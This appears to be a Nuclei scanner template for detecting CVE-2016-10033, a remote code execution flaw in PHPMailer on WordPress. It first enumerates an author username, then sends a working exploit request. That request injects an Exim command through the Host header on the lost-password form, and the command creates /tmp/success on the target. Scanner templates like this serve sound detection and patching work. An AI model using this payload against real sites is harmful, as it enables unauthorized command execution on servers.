id: CVE-2016-10033

info:
  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website.
  remediation: |
    Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
  reference:
    - https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10033
    - https://www.exploit-db.com/exploits/40970/
    - https://www.exploit-db.com/exploits/40968/
    - http://seclists.org/fulldisclosure/2016/Dec/78
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10033
    cwe-id: CWE-88
    epss-score: 0.94443
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: phpmailer_project
    product: phpmailer
  tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project,kev,vkev,vuln

http:
  - raw:
      - |+
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

      - |+
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - wp-login.php?checkemail=confirm

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body
# digest: 4b0a00483046022100d52103b40d9e5d9f88873563068b3c986f229f77f777a05972e7b57b6d99ef1302210081bfe4621ef7cc34ad659ff0c689b8a64d22a636e8c844bc828a9fbbd8a30fb1:922c64590222798bb761d5b6d8e72950